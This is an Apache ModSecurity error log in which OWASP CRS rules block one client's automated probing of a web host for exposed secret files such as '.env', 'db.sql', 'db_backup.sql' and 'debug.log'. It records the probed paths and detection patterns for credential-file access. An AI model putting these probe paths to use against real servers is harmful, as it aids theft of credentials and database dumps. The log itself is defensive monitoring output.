[Thu Feb 26 01:03:00.041357 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PqgAAAAU&quot;]
[Thu Feb 26 01:03:00.041520 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PqgAAAAU&quot;]
[Thu Feb 26 01:03:00.077392 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /custom/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PqwAAAAU&quot;]
[Thu Feb 26 01:03:00.077646 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PqwAAAAU&quot;]
[Thu Feb 26 01:03:00.077812 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PqwAAAAU&quot;]
[Thu Feb 26 01:03:00.096153 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhcQAAAAE&quot;]
[Thu Feb 26 01:03:00.096628 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhcQAAAAE&quot;]
[Thu Feb 26 01:03:00.096783 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhcQAAAAE&quot;]
[Thu Feb 26 01:03:00.127607 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /d/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PrAAAAAU&quot;]
[Thu Feb 26 01:03:00.127860 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PrAAAAAU&quot;]
[Thu Feb 26 01:03:00.128045 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PrAAAAAU&quot;]
[Thu Feb 26 01:03:00.135255 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhcgAAAAE&quot;]
[Thu Feb 26 01:03:00.135710 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhcgAAAAE&quot;]
[Thu Feb 26 01:03:00.135859 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhcgAAAAE&quot;]
[Thu Feb 26 01:03:00.225970 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhdQAAAAE&quot;]
[Thu Feb 26 01:03:00.226441 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhdQAAAAE&quot;]
[Thu Feb 26 01:03:00.226593 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhdQAAAAE&quot;]
[Thu Feb 26 01:03:00.283677 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PsQAAAAU&quot;]
[Thu Feb 26 01:03:00.283904 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PsQAAAAU&quot;]
[Thu Feb 26 01:03:00.284057 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PsQAAAAU&quot;]
[Thu Feb 26 01:03:00.312943 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PsgAAAAU&quot;]
[Thu Feb 26 01:03:00.313180 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PsgAAAAU&quot;]
[Thu Feb 26 01:03:00.313318 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PsgAAAAU&quot;]
[Thu Feb 26 01:03:00.344059 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dataset1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PswAAAAU&quot;]
[Thu Feb 26 01:03:00.344290 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PswAAAAU&quot;]
[Thu Feb 26 01:03:00.344448 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aZ-NtCk1SHHL9bIjTI-PswAAAAU&quot;]
[Thu Feb 26 01:03:00.422567 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /default/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhegAAAAE&quot;]
[Thu Feb 26 01:03:00.422802 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhegAAAAE&quot;]
[Thu Feb 26 01:03:00.422971 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhegAAAAE&quot;]
[Thu Feb 26 01:03:00.461722 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dataset2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiyowAAAAA&quot;]
[Thu Feb 26 01:03:00.462010 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiyowAAAAA&quot;]
[Thu Feb 26 01:03:00.462172 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiyowAAAAA&quot;]
